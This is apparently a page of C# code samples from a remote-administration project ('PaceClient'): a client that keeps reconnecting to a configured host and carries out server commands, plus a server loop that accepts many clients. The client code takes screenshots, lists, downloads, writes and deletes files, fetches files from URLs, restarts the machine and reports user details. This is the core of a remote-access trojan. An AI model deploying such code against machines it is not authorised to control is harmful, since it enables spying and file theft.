Esempio n. 1
0
        private void Run()
        {
            client = new PaceClient();
            client.PacketReceived += Client_PacketReceived;
            client.PacketSent     += Client_PacketSent;

            var packetChannel = new PacketChannel();

            packetChannel.RegisterHandler <GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
            packetChannel.RegisterHandler <GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
            packetChannel.RegisterHandler <TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
            packetChannel.RegisterHandler <RestartRequestPacket>(SystemHandlers.HandleRestart);

            packetChannel.RegisterHandler <DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
            packetChannel.RegisterHandler <GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
            packetChannel.RegisterHandler <DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
            packetChannel.RegisterHandler <SendFileRequestPacket>(FileHandlers.HandleSendFile);

            TryConnect();

            while (isConnected)
            {
                try
                {
                    var packet = client.ReadPacket();
                    packetChannel.HandlePacket(client, packet);
                }
                catch (IOException ex)
                {
                    if (ex.InnerException == null)
                    {
                        throw ex;
                    }

                    if (ex.InnerException.GetType() == typeof(SocketException))
                    {
                        var socketException = (ex.InnerException as SocketException);

                        if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                        {
                            PrintDebug("Disconnected!");
                            TryConnect();
                        }
                    }
                }
            }

            Console.ReadKey();
        }
Esempio n. 2
0
        private void HandleClientConnection()
        {
            while (Listening)
            {
                var client = new PaceClient(listener.AcceptTcpClient());
                OnClientConnected(client);

                Task.Factory.StartNew(() =>
                {
                    bool isConnected = true;

                    while (isConnected)
                    {
                        try
                        {
                            var packet = client.ReadPacket();
                            OnPacketReceived(client, packet);
                        }
                        catch (IOException ex)
                        {
                            if (ex.InnerException == null)
                            {
                                throw ex;
                            }

                            if (ex.InnerException.GetType() == typeof(SocketException))
                            {
                                var socketException = (ex.InnerException as SocketException);

                                if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                                {
                                    OnClientDisconnected(client);
                                    isConnected = false;
                                }
                            }
                        }
                    }
                });
            }

            listener.Stop();
        }
Esempio n. 3
0
        private void Run()
        {
            client = new PaceClient();
            client.PacketReceived += Client_PacketReceived;
            client.PacketSent     += Client_PacketSent;

            PrintDebug("Waiting for Server...");

            while (!client.TcpClient.Connected)
            {
                try
                {
                    client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port);
                }
                catch (Exception)
                {
                    continue;
                }
            }

            PrintDebug("Connected!");

            var packetChannel = new PacketChannel();

            packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) =>
            {
                var systemInfo = SystemInformation.Get();

                var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':');

                var infoPacket = new GetSystemInfoResponsePacket(
                    ClientConfiguration.Identifier,
                    clientAddress[0],
                    int.Parse(clientAddress[1]),
                    systemInfo.UserName,
                    systemInfo.ComputerName,
                    systemInfo.OperatingSystem
                    );

                client.SendPacket(infoPacket);
            });

            packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) =>
            {
                var downloadFilePacket = (DownloadFileRequestPacket)packet;
                new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
            });

            packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) =>
            {
                var screenshot = ScreenCapture.CaptureScreen();

                byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);

                var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);

                client.SendPacket(screenshotResponsePacket);
            });

            packetChannel.RegisterHandler <SendFileRequestPacket>((packet) =>
            {
                var sendFilePacket = (SendFileRequestPacket)packet;
                File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
            });

            packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) =>
            {
                var getDirectoryPacket = (GetDirectoryRequestPacket)packet;

                var directory = new DirectoryInfo(getDirectoryPacket.Path);

                if (!directory.Exists)
                {
                    return;
                }

                var response = new GetDirectoryResponsePacket
                {
                    Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path),
                    Files   = FileExplorer.GetFiles(getDirectoryPacket.Path)
                };

                client.SendPacket(response);
            });

            packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) =>
            {
                var deleteFilePacket = (DeleteFileRequestPacket)packet;

                PrintDebug($"Requested deletion of file {deleteFilePacket.File}");

                if (Directory.Exists(deleteFilePacket.File))
                {
                    Directory.Delete(deleteFilePacket.File);
                }
                else if (File.Exists(deleteFilePacket.File))
                {
                    File.Delete(deleteFilePacket.File);
                }

                client.SendPacket(new GetDirectoryResponsePacket
                {
                    Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName),
                    Files   = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName)
                });
            });

            isRunning = true;

            while (isRunning)
            {
                try
                {
                    var packet = client.ReadPacket();

                    packetChannel.HandlePacket(packet);
                }
                catch (IOException ex)
                {
                    if (ex.InnerException == null)
                    {
                        throw ex;
                    }

                    if (ex.InnerException.GetType() == typeof(SocketException))
                    {
                        var socketException = (ex.InnerException as SocketException);

                        if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
                        {
                            PrintDebug("Disconnected!");
                        }
                    }

                    isRunning = false;
                }
            }

            Console.ReadKey();
        }